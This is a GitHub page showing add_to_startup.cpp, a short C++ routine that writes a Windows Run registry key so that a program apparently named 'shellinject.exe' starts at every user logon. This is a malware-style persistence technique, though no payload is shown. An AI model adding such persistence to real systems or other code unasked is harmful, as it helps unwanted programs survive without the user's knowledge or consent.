-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathadd_to_startup.cpp
More file actions
33 lines (21 loc) · 818 Bytes
/
add_to_startup.cpp
File metadata and controls
33 lines (21 loc) · 818 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "add_to_startup.h"
#pragma comment(lib, "Shlwapi.lib")
bool bAddToStartup(const std::wstring& appName, const std::wstring& appPath) {
HKEY hKey;
LPCWSTR keyPath = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if (RegOpenKeyExW(HKEY_CURRENT_USER, keyPath, 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {
return false;
}
if (RegSetValueExW(hKey, appName.c_str(), 0, REG_SZ, (BYTE*)appPath.c_str(), (DWORD)((appPath.length() + 1) * sizeof(wchar_t))) != ERROR_SUCCESS) {
RegCloseKey(hKey);
return false;
}
RegCloseKey(hKey);
return true;
}
void AddToStartup() {
std::wstring appName = L"shellinject";
std::wstring appPath = L".\\shellinject.exe";
if (!bAddToStartup(appName, appPath)) {
}
}